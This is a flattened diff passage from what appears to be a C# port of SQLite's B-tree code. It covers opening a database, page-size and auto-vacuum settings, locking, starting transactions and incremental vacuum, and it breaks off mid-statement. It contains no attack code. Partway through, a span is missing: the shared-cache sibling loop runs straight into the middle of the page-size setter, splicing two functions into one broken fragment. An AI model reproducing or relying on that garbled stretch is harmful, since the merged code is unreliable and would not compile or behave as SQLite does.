sqlite3PagerFilename(pBt.pPager)) +&& sqlite3PagerVfs(pBt.pPager)==pVfs ){ +int iDb; +for(iDb=db.nDb-1; iDb>=0; iDb--){ +Btree pExisting = db.aDb[iDb].pBt; +if( pExisting && pExisting.pBt==pBt ){ +sqlite3_mutex_leave(mutexShared); +sqlite3_mutex_leave(mutexOpen); +zFullPathname = null;//sqlite3_free(ref zFullPathname); +p=null;//sqlite3_free(ref p); +return SQLITE_CONSTRAINT; +} +} +p.pBt = pBt; +pBt.nRef++; +break; +} +} +sqlite3_mutex_leave(mutexShared); +zFullPathname=null;//sqlite3_free(ref zFullPathname); +} +#if SQLITE_DEBUG +else{ +/* In debug mode, we mark all persistent databases as sharable +** even when they are not. This exercises the locking code and +** gives more opportunity for asserts(sqlite3_mutex_held()) +** statements to find locking problems. +*/ +p.sharable = 1; +} +#endif +} +#endif + if (pBt == null) + { + /* + ** The following asserts make sure that structures used by the btree are + ** the right size. This is to guard against size changes that result + ** when compiling on a different architecture. + */ + Debug.Assert(sizeof(i64) == 8 || sizeof(i64) == 4); + Debug.Assert(sizeof(u64) == 8 || sizeof(u64) == 4); + Debug.Assert(sizeof(u32) == 4); + Debug.Assert(sizeof(u16) == 2); + Debug.Assert(sizeof(Pgno) == 4); + + pBt = new BtShared();//sqlite3MallocZero( sizeof(pBt) ); + //if( pBt==null ){ + // rc = SQLITE_NOMEM; + // goto btree_open_out; + //} + rc = sqlite3PagerOpen(pVfs, ref pBt.pPager, zFilename, + EXTRA_SIZE, flags, vfsFlags, pageReinit); + if (rc == SQLITE_OK) + { + rc = sqlite3PagerReadFileheader(pBt.pPager, zDbHeader.Length, zDbHeader); + } + if (rc != SQLITE_OK) + { + goto btree_open_out; + } + pBt.db = db; + sqlite3PagerSetBusyhandler(pBt.pPager, btreeInvokeBusyHandler, pBt); + p.pBt = pBt; + + pBt.pCursor = null; + pBt.pPage1 = null; + pBt.readOnly = sqlite3PagerIsreadonly(pBt.pPager); + pBt.pageSize = (u16)get2byte(zDbHeader, 16); + if (pBt.pageSize < 512 || pBt.pageSize > SQLITE_MAX_PAGE_SIZE + || ((pBt.pageSize - 1) & pBt.pageSize) != 0) + { + pBt.pageSize = 0; +#if !SQLITE_OMIT_AUTOVACUUM + /* If the magic name ":memory:" will create an in-memory database, then +** leave the autoVacuum mode at 0 (do not auto-vacuum), even if +** SQLITE_DEFAULT_AUTOVACUUM is true. On the other hand, if +** SQLITE_OMIT_MEMORYDB has been defined, then ":memory:" is just a +** regular file-name. In this case the auto-vacuum applies as per normal. +*/ + if (zFilename != "" && !isMemdb) + { + pBt.autoVacuum = (SQLITE_DEFAULT_AUTOVACUUM != 0); + pBt.incrVacuum = (SQLITE_DEFAULT_AUTOVACUUM == 2); + } +#endif + nReserve = 0; + } + else + { + nReserve = zDbHeader[20]; + pBt.pageSizeFixed = true; +#if !SQLITE_OMIT_AUTOVACUUM + pBt.autoVacuum = sqlite3Get4byte(zDbHeader, 36 + 4 * 4) != 0; + pBt.incrVacuum = sqlite3Get4byte(zDbHeader, 36 + 7 * 4) != 0; +#endif + } + rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, nReserve); + if (rc != 0) goto btree_open_out; + pBt.usableSize = (u16)(pBt.pageSize - nReserve); + Debug.Assert((pBt.pageSize & 7) == 0); /* 8-byte alignment of pageSize */ + +#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) +/* Add the new BtShared object to the linked list sharable BtShareds. +*/ +if( p.sharable ){ +sqlite3_mutex *mutexShared; +pBt.nRef = 1; +mutexShared = sqlite3MutexAlloc(SQLITE_MUTEX_STATIC_MASTER); +if( SQLITE_THREADSAFE && sqlite3GlobalConfig.bCoreMutex ){ +pBt.mutex = sqlite3MutexAlloc(SQLITE_MUTEX_FAST); +if( pBt.mutex==null ){ +rc = SQLITE_NOMEM; +db.mallocFailed = 0; +goto btree_open_out; +} +} +sqlite3_mutex_enter(mutexShared); +pBt.pNext = GLOBAL(BtShared*,sqlite3SharedCacheList); +GLOBAL(BtShared*,sqlite3SharedCacheList) = pBt; +sqlite3_mutex_leave(mutexShared); +} +#endif + } + +#if !(SQLITE_OMIT_SHARED_CACHE) && !(SQLITE_OMIT_DISKIO) +/* If the new Btree uses a sharable pBtShared, then link the new +** Btree into the list of all sharable Btrees for the same connection. +** The list is kept in ascending order by pBt address. +*/ +if( p.sharable ){ +int i; +Btree pSib; +for(i=0; i= -1 && nReserve <= 255); + sqlite3BtreeEnter(p); + if (pBt.pageSizeFixed) + { + sqlite3BtreeLeave(p); + return SQLITE_READONLY; + } + if (nReserve < 0) + { + nReserve = pBt.pageSize - pBt.usableSize; + } + Debug.Assert(nReserve >= 0 && nReserve <= 255); + if (pageSize >= 512 && pageSize <= SQLITE_MAX_PAGE_SIZE && + ((pageSize - 1) & pageSize) == 0) + { + Debug.Assert((pageSize & 7) == 0); + Debug.Assert(null == pBt.pPage1 && null == pBt.pCursor); + pBt.pageSize = (u16)pageSize; + // freeTempSpace(pBt); + } + rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, nReserve); + pBt.usableSize = (u16)(pBt.pageSize - nReserve); + if (iFix != 0) pBt.pageSizeFixed = true; + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** Return the currently defined page size + */ + static int sqlite3BtreeGetPageSize(Btree p) + { + return p.pBt.pageSize; + } + + /* + ** Return the number of bytes of space at the end of every page that + ** are intentually left unused. This is the "reserved" space that is + ** sometimes used by extensions. + */ + static int sqlite3BtreeGetReserve(Btree p) + { + int n; + sqlite3BtreeEnter(p); + n = p.pBt.pageSize - p.pBt.usableSize; + sqlite3BtreeLeave(p); + return n; + } + + /* + ** Set the maximum page count for a database if mxPage is positive. + ** No changes are made if mxPage is 0 or negative. + ** Regardless of the value of mxPage, return the maximum page count. + */ + static int sqlite3BtreeMaxPageCount(Btree p, int mxPage) + { + int n; + sqlite3BtreeEnter(p); + n = (int)sqlite3PagerMaxPageCount(p.pBt.pPager, mxPage); + sqlite3BtreeLeave(p); + return n; + } +#endif //* !(SQLITE_OMIT_PAGER_PRAGMAS) || !(SQLITE_OMIT_VACUUM) */ + + /* +** Change the 'auto-vacuum' property of the database. If the 'autoVacuum' +** parameter is non-zero, then auto-vacuum mode is enabled. If zero, it +** is disabled. The default value for the auto-vacuum property is +** determined by the SQLITE_DEFAULT_AUTOVACUUM macro. +*/ + static int sqlite3BtreeSetAutoVacuum(Btree p, int autoVacuum) + { +#if SQLITE_OMIT_AUTOVACUUM +return SQLITE_READONLY; +#else + BtShared pBt = p.pBt; + int rc = SQLITE_OK; + u8 av = (u8)autoVacuum; + + sqlite3BtreeEnter(p); + if (pBt.pageSizeFixed && (av != 0) != pBt.autoVacuum) + { + rc = SQLITE_READONLY; + } + else + { + pBt.autoVacuum = av != 0; + pBt.incrVacuum = av == 2; + } + sqlite3BtreeLeave(p); + return rc; +#endif + } + + /* + ** Return the value of the 'auto-vacuum' property. If auto-vacuum is + ** enabled 1 is returned. Otherwise 0. + */ + static int sqlite3BtreeGetAutoVacuum(Btree p) + { +#if SQLITE_OMIT_AUTOVACUUM +return BTREE_AUTOVACUUM_NONE; +#else + int rc; + sqlite3BtreeEnter(p); + rc = ( + (!p.pBt.autoVacuum) ? BTREE_AUTOVACUUM_NONE : + (!p.pBt.incrVacuum) ? BTREE_AUTOVACUUM_FULL : + BTREE_AUTOVACUUM_INCR + ); + sqlite3BtreeLeave(p); + return rc; +#endif + } + + + /* + ** Get a reference to pPage1 of the database file. This will + ** also acquire a readlock on that file. + ** + ** SQLITE_OK is returned on success. If the file is not a + ** well-formed database file, then SQLITE_CORRUPT is returned. + ** SQLITE_BUSY is returned if the database is locked. SQLITE_NOMEM + ** is returned if we run out of memory. + */ + static int lockBtree(BtShared pBt) + { + int rc; + MemPage pPage1 = new MemPage(); + int nPage = 0; + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(pBt.pPage1 == null); + rc = sqlite3PagerSharedLock(pBt.pPager); + if (rc != SQLITE_OK) return rc; + rc = btreeGetPage(pBt, 1, ref pPage1, 0); + if (rc != SQLITE_OK) return rc; + + /* Do some checking to help insure the file we opened really is + ** a valid database file. + */ + rc = sqlite3PagerPagecount(pBt.pPager, ref nPage); + if (rc != SQLITE_OK) + { + goto page1_init_failed; + } + else if (nPage > 0) + { + int pageSize; + int usableSize; + u8[] page1 = pPage1.aData; + rc = SQLITE_NOTADB; + if (memcmp(page1, zMagicHeader, 16) != 0) + { + goto page1_init_failed; + } + if (page1[18] > 1) + { + pBt.readOnly = true; + } + if (page1[19] > 1) + { + goto page1_init_failed; + } + + /* The maximum embedded fraction must be exactly 25%. And the minimum + ** embedded fraction must be 12.5% for both leaf-data and non-leaf-data. + ** The original design allowed these amounts to vary, but as of + ** version 3.6.0, we require them to be fixed. + */ + if (memcmp(page1, 21, "\x0040\x0020\x0020", 3) != 0)// "\100\040\040" + { + goto page1_init_failed; + } + pageSize = get2byte(page1, 16); + if (((pageSize - 1) & pageSize) != 0 || pageSize < 512 || + (SQLITE_MAX_PAGE_SIZE < 32768 && pageSize > SQLITE_MAX_PAGE_SIZE) + ) + { + goto page1_init_failed; + } + Debug.Assert((pageSize & 7) == 0); + usableSize = pageSize - page1[20]; + if (pageSize != pBt.pageSize) + { + /* After reading the first page of the database assuming a page size + ** of BtShared.pageSize, we have discovered that the page-size is + ** actually pageSize. Unlock the database, leave pBt.pPage1 at + ** zero and return SQLITE_OK. The caller will call this function + ** again with the correct page-size. + */ + releasePage(pPage1); + pBt.usableSize = (u16)usableSize; + pBt.pageSize = (u16)pageSize; + // freeTempSpace(pBt); + rc = sqlite3PagerSetPagesize(pBt.pPager, ref pBt.pageSize, + pageSize - usableSize); + return rc; + } + if (usableSize < 480) + { + goto page1_init_failed; + } + pBt.pageSize = (u16)pageSize; + pBt.usableSize = (u16)usableSize; +#if !SQLITE_OMIT_AUTOVACUUM + pBt.autoVacuum = (sqlite3Get4byte(page1, 36 + 4 * 4) != 0); + pBt.incrVacuum = (sqlite3Get4byte(page1, 36 + 7 * 4) != 0); +#endif + } + + /* maxLocal is the maximum amount of payload to store locally for + ** a cell. Make sure it is small enough so that at least minFanout + ** cells can will fit on one page. We assume a 10-byte page header. + ** Besides the payload, the cell must store: + ** 2-byte pointer to the cell + ** 4-byte child pointer + ** 9-byte nKey value + ** 4-byte nData value + ** 4-byte overflow page pointer + ** So a cell consists of a 2-byte poiner, a header which is as much as + ** 17 bytes long, 0 to N bytes of payload, and an optional 4 byte overflow + ** page pointer. + */ + pBt.maxLocal = (u16)((pBt.usableSize - 12) * 64 / 255 - 23); + pBt.minLocal = (u16)((pBt.usableSize - 12) * 32 / 255 - 23); + pBt.maxLeaf = (u16)(pBt.usableSize - 35); + pBt.minLeaf = (u16)((pBt.usableSize - 12) * 32 / 255 - 23); + Debug.Assert(pBt.maxLeaf + 23 <= MX_CELL_SIZE(pBt)); + pBt.pPage1 = pPage1; + return SQLITE_OK; + + page1_init_failed: + releasePage(pPage1); + pBt.pPage1 = null; + return rc; + } + + /* + ** If there are no outstanding cursors and we are not in the middle + ** of a transaction but there is a read lock on the database, then + ** this routine unrefs the first page of the database file which + ** has the effect of releasing the read lock. + ** + ** If there is a transaction in progress, this routine is a no-op. + */ + static void unlockBtreeIfUnused(BtShared pBt) + { + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(pBt.pCursor == null || pBt.inTransaction > TRANS_NONE); + if (pBt.inTransaction == TRANS_NONE && pBt.pPage1 != null) + { + Debug.Assert(pBt.pPage1.aData != null); + Debug.Assert(sqlite3PagerRefcount(pBt.pPager) == 1); + Debug.Assert(pBt.pPage1.aData != null); + releasePage(pBt.pPage1); + pBt.pPage1 = null; + } + } + + /* + ** If pBt points to an empty file then convert that empty file + ** into a new empty database by initializing the first page of + ** the database. + */ + static int newDatabase(BtShared pBt) + { + MemPage pP1; + byte[] data; + int rc; + int nPage = 0; + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + /* The database size has already been measured and cached, so failure + ** is impossible here. If the original size measurement failed, then + ** processing aborts before entering this routine. */ + rc = sqlite3PagerPagecount(pBt.pPager, ref nPage); + if (NEVER(rc != SQLITE_OK) || nPage > 0) + { + return rc; + } + pP1 = pBt.pPage1; + Debug.Assert(pP1 != null); + data = pP1.aData; + rc = sqlite3PagerWrite(pP1.pDbPage); + if (rc != 0) return rc; + Buffer.BlockCopy(Encoding.UTF8.GetBytes(zMagicHeader), 0, data, 0, 16);// memcpy(data, zMagicHeader, sizeof(zMagicHeader)); + Debug.Assert(zMagicHeader.Length == 16); + put2byte(data, 16, pBt.pageSize); + data[18] = 1; + data[19] = 1; + Debug.Assert(pBt.usableSize <= pBt.pageSize && pBt.usableSize + 255 >= pBt.pageSize); + data[20] = (u8)(pBt.pageSize - pBt.usableSize); + data[21] = 64; + data[22] = 32; + data[23] = 32; + //memset(&data[24], 0, 100-24); + zeroPage(pP1, PTF_INTKEY | PTF_LEAF | PTF_LEAFDATA); + pBt.pageSizeFixed = true; +#if !SQLITE_OMIT_AUTOVACUUM + Debug.Assert(pBt.autoVacuum == true || pBt.autoVacuum == false); + Debug.Assert(pBt.incrVacuum == true || pBt.incrVacuum == false); + sqlite3Put4byte(data, 36 + 4 * 4, pBt.autoVacuum ? 1 : 0); + sqlite3Put4byte(data, 36 + 7 * 4, pBt.incrVacuum ? 1 : 0); +#endif + return SQLITE_OK; + } + + /* + ** Attempt to start a new transaction. A write-transaction + ** is started if the second argument is nonzero, otherwise a read- + ** transaction. If the second argument is 2 or more and exclusive + ** transaction is started, meaning that no other process is allowed + ** to access the database. A preexisting transaction may not be + ** upgraded to exclusive by calling this routine a second time - the + ** exclusivity flag only works for a new transaction. + ** + ** A write-transaction must be started before attempting any + ** changes to the database. None of the following routines + ** will work unless a transaction is started first: + ** + ** sqlite3BtreeCreateTable() + ** sqlite3BtreeCreateIndex() + ** sqlite3BtreeClearTable() + ** sqlite3BtreeDropTable() + ** sqlite3BtreeInsert() + ** sqlite3BtreeDelete() + ** sqlite3BtreeUpdateMeta() + ** + ** If an initial attempt to acquire the lock fails because of lock contention + ** and the database was previously unlocked, then invoke the busy handler + ** if there is one. But if there was previously a read-lock, do not + ** invoke the busy handler - just return SQLITE_BUSY. SQLITE_BUSY is + ** returned when there is already a read-lock in order to avoid a deadlock. + ** + ** Suppose there are two processes A and B. A has a read lock and B has + ** a reserved lock. B tries to promote to exclusive but is blocked because + ** of A's read lock. A tries to promote to reserved but is blocked by B. + ** One or the other of the two processes must give way or there can be + ** no progress. By returning SQLITE_BUSY and not invoking the busy callback + ** when A already has a read lock, we encourage A to give up and let B + ** proceed. + */ + static int sqlite3BtreeBeginTrans(Btree p, int wrflag) + { + BtShared pBt = p.pBt; + int rc = SQLITE_OK; + + sqlite3BtreeEnter(p); + btreeIntegrity(p); + + /* If the btree is already in a write-transaction, or it + ** is already in a read-transaction and a read-transaction + ** is requested, this is a no-op. + */ + if (p.inTrans == TRANS_WRITE || (p.inTrans == TRANS_READ && 0 == wrflag)) + { + goto trans_begun; + } + + /* Write transactions are not possible on a read-only database */ + if (pBt.readOnly && wrflag != 0) + { + rc = SQLITE_READONLY; + goto trans_begun; + } + +#if !SQLITE_OMIT_SHARED_CACHE +/* If another database handle has already opened a write transaction +** on this shared-btree structure and a second write transaction is +** requested, return SQLITE_LOCKED. +*/ +if( (wrflag && pBt.inTransaction==TRANS_WRITE) || pBt.isPending ){ +sqlite3 pBlock = pBt.pWriter.db; +}else if( wrflag>1 ){ +BtLock pIter; +for(pIter=pBt.pLock; pIter; pIter=pIter.pNext){ +if( pIter.pBtree!=p ){ +pBlock = pIter.pBtree.db; +break; +} +} +} +if( pBlock ){ +sqlite3ConnectionBlocked(p.db, pBlock); +rc = SQLITE_LOCKED_SHAREDCACHE; +goto trans_begun; +} +#endif + + /* Any read-only or read-write transaction implies a read-lock on +** page 1. So if some other shared-cache client already has a write-lock +** on page 1, the transaction cannot be opened. */ + rc = querySharedCacheTableLock(p, MASTER_ROOT, READ_LOCK); + if (SQLITE_OK != rc) goto trans_begun; + + do + { + /* Call lockBtree() until either pBt.pPage1 is populated or + ** lockBtree() returns something other than SQLITE_OK. lockBtree() + ** may return SQLITE_OK but leave pBt.pPage1 set to 0 if after + ** reading page 1 it discovers that the page-size of the database + ** file is not pBt.pageSize. In this case lockBtree() will update + ** pBt.pageSize to the page-size of the file on disk. + */ + while (pBt.pPage1 == null && SQLITE_OK == (rc = lockBtree(pBt))) ; + + if (rc == SQLITE_OK && wrflag != 0) + { + if (pBt.readOnly) + { + rc = SQLITE_READONLY; + } + else + { + rc = sqlite3PagerBegin(pBt.pPager, wrflag > 1, sqlite3TempInMemory(p.db) ? 1 : 0); + if (rc == SQLITE_OK) + { + rc = newDatabase(pBt); + } + } + } + + if (rc != SQLITE_OK) + { + unlockBtreeIfUnused(pBt); + } + } while (rc == SQLITE_BUSY && pBt.inTransaction == TRANS_NONE && + btreeInvokeBusyHandler(pBt) != 0); + + if (rc == SQLITE_OK) + { + if (p.inTrans == TRANS_NONE) + { + pBt.nTransaction++; +#if !SQLITE_OMIT_SHARED_CACHE +if( p.sharable ){ +Debug.Assert( p.lock.pBtree==p && p.lock.iTable==1 ); +p.lock.eLock = READ_LOCK; +p.lock.pNext = pBt.pLock; +pBt.pLock = &p.lock; +} +#endif + } + p.inTrans = (wrflag != 0 ? TRANS_WRITE : TRANS_READ); + if (p.inTrans > pBt.inTransaction) + { + pBt.inTransaction = p.inTrans; + } +#if !SQLITE_OMIT_SHARED_CACHE +if( wrflag ){ +Debug.Assert( !pBt.pWriter ); +pBt.pWriter = p; +pBt.isExclusive = (u8)(wrflag>1); +} +#endif + } + + + trans_begun: + if (rc == SQLITE_OK && wrflag != 0) + { + /* This call makes sure that the pager has the correct number of + ** open savepoints. If the second parameter is greater than 0 and + ** the sub-journal is not already open, then it will be opened here. + */ + rc = sqlite3PagerOpenSavepoint(pBt.pPager, p.db.nSavepoint); + } + + btreeIntegrity(p); + sqlite3BtreeLeave(p); + return rc; + } + +#if !SQLITE_OMIT_AUTOVACUUM + + /* +** Set the pointer-map entries for all children of page pPage. Also, if +** pPage contains cells that point to overflow pages, set the pointer +** map entries for the overflow pages as well. +*/ + static int setChildPtrmaps(MemPage pPage) + { + int i; /* Counter variable */ + int nCell; /* Number of cells in page pPage */ + int rc; /* Return code */ + BtShared pBt = pPage.pBt; + u8 isInitOrig = pPage.isInit; + Pgno pgno = pPage.pgno; + + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + rc = btreeInitPage(pPage); + if (rc != SQLITE_OK) + { + goto set_child_ptrmaps_out; + } + nCell = pPage.nCell; + + for (i = 0; i < nCell; i++) + { + int pCell = findCell(pPage, i); + + ptrmapPutOvflPtr(pPage, pCell, ref rc); + + if (0 == pPage.leaf) + { + Pgno childPgno = sqlite3Get4byte(pPage.aData, pCell); + ptrmapPut(pBt, childPgno, PTRMAP_BTREE, pgno, ref rc); + } + } + + if (0 == pPage.leaf) + { + Pgno childPgno = sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8); + ptrmapPut(pBt, childPgno, PTRMAP_BTREE, pgno, ref rc); + } + + set_child_ptrmaps_out: + pPage.isInit = isInitOrig; + return rc; + } + + /* + ** Somewhere on pPage is a pointer to page iFrom. Modify this pointer so + ** that it points to iTo. Parameter eType describes the type of pointer to + ** be modified, as follows: + ** + ** PTRMAP_BTREE: pPage is a btree-page. The pointer points at a child + ** page of pPage. + ** + ** PTRMAP_OVERFLOW1: pPage is a btree-page. The pointer points at an overflow + ** page pointed to by one of the cells on pPage. + ** + ** PTRMAP_OVERFLOW2: pPage is an overflow-page. The pointer points at the next + ** overflow page in the list. + */ + static int modifyPagePointer(MemPage pPage, Pgno iFrom, Pgno iTo, u8 eType) + { + Debug.Assert(sqlite3_mutex_held(pPage.pBt.mutex)); + Debug.Assert(sqlite3PagerIswriteable(pPage.pDbPage)); + if (eType == PTRMAP_OVERFLOW2) + { + /* The pointer is always the first 4 bytes of the page in this case. */ + if (sqlite3Get4byte(pPage.aData) != iFrom) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + sqlite3Put4byte(pPage.aData, iTo); + } + else + { + u8 isInitOrig = pPage.isInit; + int i; + int nCell; + + btreeInitPage(pPage); + nCell = pPage.nCell; + + for (i = 0; i < nCell; i++) + { + int pCell = findCell(pPage, i); + if (eType == PTRMAP_OVERFLOW1) + { + CellInfo info = new CellInfo(); + btreeParseCellPtr( pPage, pCell, ref info ); + if (info.iOverflow != 0) + { + if (iFrom == sqlite3Get4byte(pPage.aData, pCell, info.iOverflow)) + { + sqlite3Put4byte(pPage.aData, pCell + info.iOverflow, (int)iTo); + break; + } + } + } + else + { + if (sqlite3Get4byte(pPage.aData, pCell) == iFrom) + { + sqlite3Put4byte(pPage.aData, pCell, (int)iTo); + break; + } + } + } + + if (i == nCell) + { + if (eType != PTRMAP_BTREE || + sqlite3Get4byte(pPage.aData, pPage.hdrOffset + 8) != iFrom) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + sqlite3Put4byte(pPage.aData, pPage.hdrOffset + 8, iTo); + } + + pPage.isInit = isInitOrig; + } + return SQLITE_OK; + } + + + /* + ** Move the open database page pDbPage to location iFreePage in the + ** database. The pDbPage reference remains valid. + ** + ** The isCommit flag indicates that there is no need to remember that + ** the journal needs to be sync()ed before database page pDbPage.pgno + ** can be written to. The caller has already promised not to write to that + ** page. + */ + static int relocatePage( + BtShared pBt, /* Btree */ + MemPage pDbPage, /* Open page to move */ + u8 eType, /* Pointer map 'type' entry for pDbPage */ + Pgno iPtrPage, /* Pointer map 'page-no' entry for pDbPage */ + Pgno iFreePage, /* The location to move pDbPage to */ + int isCommit /* isCommit flag passed to sqlite3PagerMovepage */ + ) + { + MemPage pPtrPage = new MemPage(); /* The page that contains a pointer to pDbPage */ + Pgno iDbPage = pDbPage.pgno; + Pager pPager = pBt.pPager; + int rc; + + Debug.Assert(eType == PTRMAP_OVERFLOW2 || eType == PTRMAP_OVERFLOW1 || + eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE); + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(pDbPage.pBt == pBt); + + /* Move page iDbPage from its current location to page number iFreePage */ + TRACE("AUTOVACUUM: Moving %d to free page %d (ptr page %d type %d)\n", + iDbPage, iFreePage, iPtrPage, eType); + rc = sqlite3PagerMovepage(pPager, pDbPage.pDbPage, iFreePage, isCommit); + if (rc != SQLITE_OK) + { + return rc; + } + pDbPage.pgno = iFreePage; + + /* If pDbPage was a btree-page, then it may have child pages and/or cells + ** that point to overflow pages. The pointer map entries for all these + ** pages need to be changed. + ** + ** If pDbPage is an overflow page, then the first 4 bytes may store a + ** pointer to a subsequent overflow page. If this is the case, then + ** the pointer map needs to be updated for the subsequent overflow page. + */ + if (eType == PTRMAP_BTREE || eType == PTRMAP_ROOTPAGE) + { + rc = setChildPtrmaps(pDbPage); + if (rc != SQLITE_OK) + { + return rc; + } + } + else + { + Pgno nextOvfl = sqlite3Get4byte(pDbPage.aData); + if (nextOvfl != 0) + { + ptrmapPut(pBt, nextOvfl, PTRMAP_OVERFLOW2, iFreePage, ref rc); + if (rc != SQLITE_OK) + { + return rc; + } + } + } + + /* Fix the database pointer on page iPtrPage that pointed at iDbPage so + ** that it points at iFreePage. Also fix the pointer map entry for + ** iPtrPage. + */ + if (eType != PTRMAP_ROOTPAGE) + { + rc = btreeGetPage(pBt, iPtrPage, ref pPtrPage, 0); + if (rc != SQLITE_OK) + { + return rc; + } + rc = sqlite3PagerWrite(pPtrPage.pDbPage); + if (rc != SQLITE_OK) + { + releasePage(pPtrPage); + return rc; + } + rc = modifyPagePointer(pPtrPage, iDbPage, iFreePage, eType); + releasePage(pPtrPage); + if (rc == SQLITE_OK) + { + ptrmapPut(pBt, iFreePage, eType, iPtrPage, ref rc); + } + } + return rc; + } + + /* Forward declaration required by incrVacuumStep(). */ + //static int allocateBtreePage(BtShared *, MemPage **, Pgno *, Pgno, u8); + + /* + ** Perform a single step of an incremental-vacuum. If successful, + ** return SQLITE_OK. If there is no work to do (and therefore no + ** point in calling this function again), return SQLITE_DONE. + ** + ** More specificly, this function attempts to re-organize the + ** database so that the last page of the file currently in use + ** is no longer in use. + ** + ** If the nFin parameter is non-zero, this function assumes + ** that the caller will keep calling incrVacuumStep() until + ** it returns SQLITE_DONE or an error, and that nFin is the + ** number of pages the database file will contain after this + ** process is complete. If nFin is zero, it is assumed that + ** incrVacuumStep() will be called a finite amount of times + ** which may or may not empty the freelist. A full autovacuum + ** has nFin>0. A "PRAGMA incremental_vacuum" has nFin==null. + */ + static int incrVacuumStep(BtShared pBt, Pgno nFin, Pgno iLastPg) + { + Pgno nFreeList; /* Number of pages still on the free-list */ + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + Debug.Assert(iLastPg > nFin); + + if (!PTRMAP_ISPAGE(pBt, iLastPg) && iLastPg != PENDING_BYTE_PAGE(pBt)) + { + int rc; + u8 eType = 0; + Pgno iPtrPage = 0; + + nFreeList = sqlite3Get4byte(pBt.pPage1.aData, 36); + if (nFreeList == 0) + { + return SQLITE_DONE; + } + + rc = ptrmapGet(pBt, iLastPg, ref eType, ref iPtrPage); + if (rc != SQLITE_OK) + { + return rc; + } + if (eType == PTRMAP_ROOTPAGE) + { +#if SQLITE_DEBUG || DEBUG + return SQLITE_CORRUPT_BKPT(); +#else +return SQLITE_CORRUPT_BKPT; +#endif + } + + if (eType == PTRMAP_FREEPAGE) + { + if (nFin == 0) + { + /* Remove the page from the files free-list. This is not required + ** if nFin is non-zero. In that case, the free-list will be + ** truncated to zero after this function returns, so it doesn't + ** matter if it still contains some garbage entries. + */ + Pgno iFreePg = 0; + MemPage pFreePg = new MemPage(); + rc = allocateBtreePage(pBt, ref pFreePg, ref iFreePg, iLastPg, 1); + if (rc != SQLITE_OK) + { + return rc; + } + Debug.Assert(iFreePg == iLastPg); + releasePage(pFreePg); + } + } + else + { + Pgno iFreePg = 0; /* Index of free page to move pLastPg to */ + MemPage pLastPg = new MemPage(); + + rc = btreeGetPage(pBt, iLastPg, ref pLastPg, 0); + if (rc != SQLITE_OK) + { + return rc; + } + + /* If nFin is zero, this loop runs exactly once and page pLastPg + ** is swapped with the first free page pulled off the free list. + ** + ** On the other hand, if nFin is greater than zero, then keep + ** looping until a free-page located within the first nFin pages + ** of the file is found. + */ + do + { + MemPage pFreePg = new MemPage(); + rc = allocateBtreePage(pBt, ref pFreePg, ref iFreePg, 0, 0); + if (rc != SQLITE_OK) + { + releasePage(pLastPg); + return rc; + } + releasePage(pFreePg); + } while (nFin != 0 && iFreePg > nFin); + Debug.Assert(iFreePg < iLastPg); + + rc = sqlite3PagerWrite(pLastPg.pDbPage); + if (rc == SQLITE_OK) + { + rc = relocatePage(pBt, pLastPg, eType, iPtrPage, iFreePg, (nFin != 0) ? 1 : 0); + } + releasePage(pLastPg); + if (rc != SQLITE_OK) + { + return rc; + } + } + } + + if (nFin == 0) + { + iLastPg--; + while (iLastPg == PENDING_BYTE_PAGE(pBt) || PTRMAP_ISPAGE(pBt, iLastPg)) + { + if (PTRMAP_ISPAGE(pBt, iLastPg)) + { + MemPage pPg = new MemPage(); + int rc = btreeGetPage(pBt, iLastPg, ref pPg, 0); + if (rc != SQLITE_OK) + { + return rc; + } + rc = sqlite3PagerWrite(pPg.pDbPage); + releasePage(pPg); + if (rc != SQLITE_OK) + { + return rc; + } + } + iLastPg--; + } + sqlite3PagerTruncateImage(pBt.pPager, iLastPg); + } + return SQLITE_OK; + } + + /* + ** A write-transaction must be opened before calling this function. + ** It performs a single unit of work towards an incremental vacuum. + ** + ** If the incremental vacuum is finished after this function has run, + ** SQLITE_DONE is returned. If it is not finished, but no error occurred, + ** SQLITE_OK is returned. Otherwise an SQLite error code. + */ + static int sqlite3BtreeIncrVacuum(Btree p) + { + int rc; + BtShared pBt = p.pBt; + + sqlite3BtreeEnter(p); + Debug.Assert(pBt.inTransaction == TRANS_WRITE && p.inTrans == TRANS_WRITE); + if (!pBt.autoVacuum) + { + rc = SQLITE_DONE; + } + else + { + invalidateAllOverflowCache(pBt); + rc = incrVacuumStep(pBt, 0, pagerPagecount(pBt)); + } + sqlite3BtreeLeave(p); + return rc; + } + + /* + ** This routine is called prior to sqlite3PagerCommit when a transaction + ** is commited for an auto-vacuum database. + ** + ** If SQLITE_OK is returned, then pnTrunc is set to the number of pages + ** the database file should be truncated to during the commit process. + ** i.e. the database has been reorganized so that only the first pnTrunc + ** pages are in use. + */ + static int autoVacuumCommit(BtShared pBt) + { + int rc = SQLITE_OK; + Pager pPager = pBt.pPager; + // VVA_ONLY( int nRef = sqlite3PagerRefcount(pPager) ); +#if !NDEBUG || DEBUG + int nRef = sqlite3PagerRefcount(pPager); +#else +int nRef=0; +#endif + + + Debug.Assert(sqlite3_mutex_held(pBt.mutex)); + invalidateAllOverflowCache(pBt); + Debug.Assert(pBt.autoVacuum); + if (!pBt.incrVacuum) + { + Pgno nFin; /* Number of pages in database after autovacuuming */ + Pgno nFree; /* Number of pages on the freelist initially */ + Pgno nPtrmap; /* Number of PtrMap pages to be freed */ + Pgno iFree; /* The next page to be freed */ + int nEntry; /* Number of entries on one ptrmap page */ + Pgno nOrig; /* Database size before freeing */ + + nOrig = pagerPagecount(pBt); + if (PTRMAP_ISPAGE(pBt, nOrig) || nOrig == 